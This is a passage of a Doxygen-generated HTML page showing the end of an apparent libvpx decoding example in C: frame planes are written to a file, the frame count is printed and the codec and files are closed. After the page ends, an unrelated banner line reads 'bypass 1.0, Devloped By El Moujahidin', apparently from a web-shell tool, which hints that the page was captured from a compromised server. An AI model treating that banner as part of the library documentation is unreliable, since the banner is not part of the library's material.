                <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>y<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> y <span style="color: #339933;">&lt;</span> <span style="color: #009900;">&#40;</span>plane <span style="color: #339933;">?</span> <span style="color: #009900;">&#40;</span>img<span style="color: #339933;">-&gt;</span>d_h <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;&gt;</span> <span style="color: #0000dd;">1</span> <span style="color: #339933;">:</span> img<span style="color: #339933;">-&gt;</span>d_h<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> y<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                    <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> fwrite<span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span>plane <span style="color: #339933;">?</span> <span style="color: #009900;">&#40;</span>img<span style="color: #339933;">-&gt;</span>d_w <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;&gt;</span> <span style="color: #0000dd;">1</span> <span style="color: #339933;">:</span> img<span style="color: #339933;">-&gt;</span>d_w<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
                                  outfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    buf <span style="color: #339933;">+=</span> img<span style="color: #339933;">-&gt;</span>stride<span style="color: #009900;">&#91;</span>plane<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
    <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Processed %d frames.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>frame_cnt<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>vpx_codec_destroy<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>codec<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        die_codec<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>codec<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Failed to destroy codec&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    fclose<span style="color: #009900;">&#40;</span>outfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    fclose<span style="color: #009900;">&#40;</span>infile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> EXIT_SUCCESS<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre>
 </div></div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by &#160;<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.5
</small></address>
</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net